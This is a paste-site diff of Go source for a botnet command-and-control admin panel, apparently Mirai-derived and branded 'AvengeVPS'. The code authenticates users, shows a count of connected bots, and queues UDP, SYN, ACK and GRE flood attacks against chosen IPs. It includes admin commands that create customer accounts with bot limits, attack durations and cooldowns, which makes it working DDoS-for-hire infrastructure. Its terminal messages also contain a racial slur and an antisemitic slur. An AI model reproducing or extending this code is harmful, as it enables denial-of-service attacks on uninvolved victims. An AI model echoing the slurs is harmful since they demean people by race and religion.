View difference between Paste ID: 0t7tfCEZ and ScmeiMg6
SHOW: | | - or go back to the newest paste.
1
package main
2-
2+
#This was made by AvengeVPS. Do not sell this.
3
 
4
import (
5
    "fmt"
6
    "net"
7
    "time"
8
    "strings"
9
    "strconv"
10-
10+
11
 
12
type Admin struct {
13
    conn    net.Conn
14-
14+
15
 
16
func NewAdmin(conn net.Conn) *Admin {
17
    return &Admin{conn}
18-
18+
19
 
20
func (this *Admin) Handle() {
21
    this.conn.Write([]byte("\033[?1049h"))
22-
22+
23
 
24
    defer func() {
25
        this.conn.Write([]byte("\033[?1049l"))
26-
26+
27
 
28
    // Get username
29
    this.conn.SetDeadline(time.Now().Add(60 * time.Second))
30
    this.conn.Write([]byte("\033[34;1mUsername:\033[33;3m: \033[0m"))
31
    username, err := this.ReadLine(false)
32
    if err != nil {
33
        return
34-
34+
35
 
36
    // Get password
37
    this.conn.SetDeadline(time.Now().Add(60 * time.Second))
38
    this.conn.Write([]byte("\033[34;1mPassword\033[33;3m: \033[0m"))
39
    password, err := this.ReadLine(true)
40
    if err != nil {
41
        return
42-
42+
43
 
44
    this.conn.SetDeadline(time.Now().Add(120 * time.Second))
45
    this.conn.Write([]byte("\r\n"))
46
    spinBuf := []byte{'-', '\\', '|', '/'}
47-
        this.conn.Write(append([]byte("\r\033[37;1mChecking Account ...\033[31m"), spinBuf[i % len(spinBuf)]))
47+
48
        this.conn.Write(append([]byte("\r\033[37;1mChecking Login...\033[31m"), spinBuf[i % len(spinBuf)]))
49
        time.Sleep(time.Duration(300) * time.Millisecond)
50-
50+
51
 
52
    var loggedIn bool
53
    var userInfo AccountInfo
54-
        this.conn.Write([]byte("\r\033[36;1mWrong user/pass, cya later\r\n"))
54+
55-
        this.conn.Write([]byte("\033[31mPress any key to exit. (Any key)\033[0m"))
55+
        this.conn.Write([]byte("\r\033[36;1mYou out of here nigga!\r\n"))
56
        this.conn.Write([]byte("\033[31mPress ENTER to exit.\033[0m"))
57
        buf := make([]byte, 1)
58
        this.conn.Read(buf)
59
        return
60-
	
60+
61-
	this.conn.Write([]byte("\033[2J\033[1;1H"))
61+
   
62-
                                                                      
62+
    this.conn.Write([]byte("\033[2J\033[1;1H"))
63-
	this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
63+
                                                                     
64-
	this.conn.Write([]byte("\r\033[31;1m*        WELCOME TO THE BALL PIT        *\r\n"))
64+
    this.conn.Write([]byte("\r\033[33;1m █████╗ ██╗   ██╗███████╗███╗  ██╗ ██████╗ ███████╗\r\n"))
65-
	this.conn.Write([]byte("\r\033[31;1m*     Now with \033[36;1mrefrigerator\x1b[31m support     *\r\n"))
65+
    this.conn.Write([]byte("\r\033[33;1m██╔══██╗██║   ██║██╔════╝████╗ ██║██╔════╝ ██╔════╝*\r\n"))
66-
	this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
66+
    this.conn.Write([]byte("\r\033[33;1m███████║██║   ██║█████╗  ██╔██╗██║██║  ███╗█████╗   \r\n"))
67-
	this.conn.Write([]byte("\r\n"))
67+
    this.conn.Write([]byte("\r\033[35;1m██╔══██║██╗   ██ ██╔══╝  ██║╚████║██║   ██║██╔══╝  \r\n"))
68-
68+
	this.conn.Write([]byte("\r\033[35;1m██║  ██║ ╚████╔╝ ███████╗██║ ╚████║╚██████╔███████╗ \r\n"))
69-
69+
	this.conn.Write([]byte("\r\033[35;1m╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═════╝\r\n"))
70
    this.conn.Write([]byte("\r\n"))
71
    this.conn.Write([]byte("\r\n"))
72
 
73
 
74
    go func() {
75-
                BotCount = userInfo.maxBots 
75+
76
        for {
77-
                BotCount = clientList.Count() 
77+
78
            if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
79-
79+
                BotCount = userInfo.maxBots
80
            } else {
81-
            if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
81+
                BotCount = clientList.Count()
82
            }
83
 
84
            time.Sleep(time.Second)
85
            if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Jews Connected | %s\007", BotCount, username))); err != nil {
86
                this.conn.Close()
87
                break
88
            }
89
            i++
90
            if i % 60 == 0 {
91-
91+
92
            }
93
        }
94
    }()
95-
		
95+
 
96
    for {
97-
		
97+
98
        var botCount int
99
       
100
        this.conn.Write([]byte("\033[36;1m" + username + "@Botnet# \033[0m"))
101
       
102-
		if cmd == "clear" || cmd == "cls" {
102+
103-
			this.conn.Write([]byte("\033[2J\033[1;1H"))
103+
104-
	this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
104+
105-
	this.conn.Write([]byte("\r\033[31;1m*        WELCOME TO THE BALL PIT        *\r\n"))
105+
106-
	this.conn.Write([]byte("\r\033[31;1m*     Now with \033[36;1mrefrigerator\x1b[31m support     *\r\n"))
106+
        if cmd == "clear" || cmd == "cls" {
107-
	this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
107+
            this.conn.Write([]byte("\033[2J\033[1;1H"))
108-
	this.conn.Write([]byte("\r\n"))
108+
    this.conn.Write([]byte("\r\033[33;1m █████╗ ██╗   ██╗███████╗███╗  ██╗ ██████╗ ███████╗\r\n"))
109-
			continue
109+
    this.conn.Write([]byte("\r\033[33;1m██╔══██╗██║   ██║██╔════╝████╗ ██║██╔════╝ ██╔════╝*\r\n"))
110-
		}
110+
    this.conn.Write([]byte("\r\033[33;1m███████║██║   ██║█████╗  ██╔██╗██║██║  ███╗█████╗   \r\n"))
111-
		if cmd == "HELP" || cmd == "help" {
111+
    this.conn.Write([]byte("\r\033[35;1m██╔══██║██╗   ██ ██╔══╝  ██║╚████║██║   ██║██╔══╝  \r\n"))
112-
			this.conn.Write([]byte("\r\033[36;1mAvailable Attack Commands\r\n"))
112+
	this.conn.Write([]byte("\r\033[35;1m██║  ██║ ╚████╔╝ ███████╗██║ ╚████║╚██████╔███████╗ \r\n"))
113-
			this.conn.Write([]byte("\r\033[36;1mudpplain ip time\r\n"))
113+
	this.conn.Write([]byte("\r\033[35;1m╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═════╝\r\n"))
114-
			this.conn.Write([]byte("\r\033[36;1mudp ip time\r\n"))
114+
115-
			this.conn.Write([]byte("\r\033[36;1mack ip time\r\n"))
115+
116-
			this.conn.Write([]byte("\r\033[36;1msyn ip time\r\n"))
116+
117-
			this.conn.Write([]byte("\r\033[36;1mgreip ip time\r\n"))
117+
        if cmd == "HELP" || cmd == "help" {
118-
			this.conn.Write([]byte("\r\033[36;1mTo set a destination port simply do this \r\ndport=\r\n"))
118+
            this.conn.Write([]byte("\r\033[36;1mAvailable Attack Commands\r\n"))
119-
			this.conn.Write([]byte("\r\033[36;1mcls || clear  | clears screen\r\n"))
119+
            this.conn.Write([]byte("\r\033[36;1mudpplain ip time dport=\r\n"))
120-
	        this.conn.Write([]byte("\r\n"))
120+
            this.conn.Write([]byte("\r\033[36;1mudp ip time dport=\r\n"))
121-
121+
            this.conn.Write([]byte("\r\033[36;1mack ip time dport=\r\n"))
122-
			continue
122+
            this.conn.Write([]byte("\r\033[36;1msyn ip time dport=\r\n"))
123-
		}
123+
            this.conn.Write([]byte("\r\033[36;1mgreip ip time dport=\r\n"))
124
            this.conn.Write([]byte("\r\033[36;1mcls || clear  | clears screen\r\n"))
125
            this.conn.Write([]byte("\r\n"))
126
 
127-
		
127+
128-
        botCount = userInfo.maxBots 
128+
129-
129+
130
            continue
131-
            this.conn.Write([]byte("Enter new username: "))
131+
132
       
133
        botCount = userInfo.maxBots
134
 
135
        if userInfo.admin == 1 && cmd == "adduser" || cmd == "addAdmin" {
136-
            this.conn.Write([]byte("Enter new password: "))
136+
            this.conn.Write([]byte("Username: "))
137
            new_un, err := this.ReadLine(false)
138
            if err != nil {
139
                return
140
            }
141-
            this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
141+
            this.conn.Write([]byte("Password: "))
142
            new_pw, err := this.ReadLine(false)
143
            if err != nil {
144
                return
145
            }
146
            this.conn.Write([]byte("Enter Bot Count (-1 for full net): "))
147
            max_bots_str, err := this.ReadLine(false)
148-
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
148+
149
                return
150
            }
151-
            this.conn.Write([]byte("Max attack duration (-1 for none): "))
151+
152
            if err != nil {
153
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to list the bot count")))
154
                continue
155
            }
156
            this.conn.Write([]byte("Max Attack Time (-1 for none): "))
157
            duration_str, err := this.ReadLine(false)
158-
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
158+
159
                return
160
            }
161-
            this.conn.Write([]byte("Cooldown time (0 for none): "))
161+
162
            if err != nil {
163
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to list the attack duration limit")))
164
                continue
165
            }
166
            this.conn.Write([]byte("Cooldown Between Attacks (0 for none): "))
167
            cooldown_str, err := this.ReadLine(false)
168-
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
168+
169
                return
170
            }
171
            cooldown, err := strconv.Atoi(cooldown_str)
172
            if err != nil {
173
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to list the cooldown")))
174
                continue
175
            }
176
            this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
177
            confirm, err := this.ReadLine(false)
178
            if err != nil {
179
                return
180
            }
181
            if confirm != "y" {
182
                continue
183
            }
184
            if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
185
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
186
            } else {
187-
            m := clientList.Distribution() 
187+
188
            }
189
            continue
190
        }
191
        if userInfo.admin == 1 && cmd == "botcount" || cmd == "bots" || cmd == "count" {
192
            m := clientList.Distribution()
193
            for k, v := range m {
194
                this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v) ))
195
            }
196
            continue
197
        }
198
        if cmd[0] == '-' {
199
            countSplit := strings.SplitN(cmd, " ", 2)
200
            count := countSplit[0][1:]
201
            botCount, err = strconv.Atoi(count)
202
            if err != nil {
203
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
204
                continue
205
            }
206
            if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
207
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
208
                continue
209
            }
210
            cmd = countSplit[1]
211
        }
212-
212+
213
            cataSplit := strings.SplitN(cmd, " ", 2)
214
            botCatagory = cataSplit[0][1:]
215
            cmd = cataSplit[1]
216
        }
217
 
218
        atk, err := NewAttack(cmd, userInfo.admin)
219
        if err != nil {
220
            this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
221
        } else {
222
            buf, err := atk.Build()
223
            if err != nil {
224
                this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
225
            } else {
226
                if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
227
                    this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
228
                } else if !database.ContainsWhitelistedTargets(atk) {
229
                    clientList.QueueBuf(buf, botCount, botCatagory)
230
                } else {
231
                    fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
232-
232+
233
            }
234
        }
235
    }
236-
236+
237
 
238
func (this *Admin) ReadLine(masked bool) (string, error) {
239
    buf := make([]byte, 1024)
240
    bufPos := 0
241
 
242
    for {
243
        n, err := this.conn.Read(buf[bufPos:bufPos+1])
244
        if err != nil || n != 1 {
245
            return "", err
246
        }
247
        if buf[bufPos] == '\xFF' {
248
            n, err := this.conn.Read(buf[bufPos:bufPos+2])
249
            if err != nil || n != 2 {
250
                return "", err
251
            }
252
            bufPos--
253
        } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
254
            if bufPos > 0 {
255
                this.conn.Write([]byte(string(buf[bufPos])))
256
                bufPos--
257
            }
258
            bufPos--
259
        } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
260
            bufPos--
261
        } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
262
            this.conn.Write([]byte("\r\n"))
263
            return string(buf[:bufPos]), nil
264
        } else if buf[bufPos] == 0x03 {
265
            this.conn.Write([]byte("^C\r\n"))
266
            return "", nil
267
        } else {
268
            if buf[bufPos] == '\x1B' {
269
                buf[bufPos] = '^';
270
                this.conn.Write([]byte(string(buf[bufPos])))
271
                bufPos++;
272
                buf[bufPos] = '[';
273
                this.conn.Write([]byte(string(buf[bufPos])))
274
            } else if masked {
275
                this.conn.Write([]byte("*"))
276
            } else {
277
                this.conn.Write([]byte(string(buf[bufPos])))
278
            }
279
        }
280
        bufPos++
281
    }
282
    return string(buf), nil
283
}